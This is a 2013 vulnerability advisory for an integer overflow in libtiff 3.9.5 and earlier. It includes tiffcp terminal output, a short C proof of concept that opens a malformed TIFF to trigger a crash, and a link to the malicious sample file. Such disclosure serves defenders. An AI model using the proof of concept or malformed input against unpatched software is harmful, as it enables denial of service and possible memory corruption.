+----------------------------------------------------+
| XADV-2013001 libtiff <= 3.9.5 integer overflow bug |
+----------------------------------------------------+

vulnerable versions:
- libtiff 3.9.5 <=
- libtiff 3.6.0

not vulnerable versions:
- libtiff 4.0.3
- libtiff 4.0.2
- libtiff 4.0.1
- libtiff 4.0.0

release path:
4.0.3(latest) -> 4.0.2 -> 4.0.1 -> 4.0.0(patched)
-> 3.9.5(vulnerable)

testbed: linux distro
type: local
impact: medium
vendor: http://www.remotesensing.org/libtiff
author: x90c
site: x90c.org
email: geinblues@gmail.com

==========
abstract:
==========

I discovered libtiff TIFFOpen integer overflow bug 
by weird TIFFOpen call success with malformed tif
image file!

- tiffcp tool (tiffinfo, tiff2ps, ... also can test):
Many times tiffcp execution ... often, it entered to 
tiffcp function in tiffcp tool after tiffopen. Often
calling openSrcImage success. malformed tif image 
within count of SamplePerPixel or RowsPerStrip can be
opened by TIFFOpen even though can't tiffcp, TIFFWrite
Directory with the returned TIFF*

- integer overflow to heap corruption:
Malformed tif image file within SamplePerPixel 
and RowsPerStrip can be opened the malformed tif
data. and can be calculated in other library
functions it leads to integer overflow to memory
corruption!

- exploitation:
Exploit tries many times to call TIFFOpen with
malformed tif file. sometimes after, the target program
used vulnerable libtiff can be corrupted if these two 
field will passed validation checks


=========
details:
=========

tiff-v3.6.0/tools/tiffcp

Many times TIFFOpen calls
----
..
[root@centos5 tools]# export SAMPLE=/home/x90c/sample_spp.tif
[root@centos5 tools]# ./tiffcp -b $SAMPLE
/home/x90c/sample.tif: Integer overflow in TIFFVStripSize.
TIFFReadDirectory: /home/x90c/sample.tif: cannot handle zero strip size.
[root@centos5 tools]# ./tiffcp -b $SAMPLE
/home/x90c/sample.tif: Integer overflow in TIFFVStripSize.
TIFFReadDirectory: /home/x90c/sample.tif: cannot handle zero strip size.
[root@centos5 tools]# ./tiffcp -b $SAMPLE
/home/x90c/sample.tif: Integer overflow in TIFFVStripSize.
TIFFReadDirectory: /home/x90c/sample.tif: cannot handle zero strip size.
[root@centos5 tools]# ./tiffcp -b $SAMPLE
samples=1392 imagewidth=2464 rowsperstrip=3248 // debug output
Bias image must be monochrome
[root@centos5 tools]#
----
As you see, malformed td_samplesperpixel(sampleperpixel
 field of tif image) count of 2 changes these values 1,0
to a value of sample= of 1392(0x570). the invalid value
can be calculated and integer overflow!


===============
exploit codes:
===============

tiff_poc.c
--
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"

int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;

/*
 * for instance, TIFFGetField library function will
 * called with malicious samplesperpixel field value 
 * TIFFGetField got segfault!
 */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);

printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
}
--

- I attached the sample_spp.tif:
http://www.x90c.org/exploits/sample_spp.tif


=============
patch codes:
=============

tiff-4.0.3/tools/tiffcp (latest version)

----
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]# ./tiffcp $SAMPLE tc1.tif
TIFFFetchNormalTag: Incorrect count for "SamplesPerPixel".
[root@centos5 tools]#
....
..
...
..
----
safe!


==============
vendor status:
==============
2013/08/24 - I discovered the security bug
2013/08/24 - the advisory released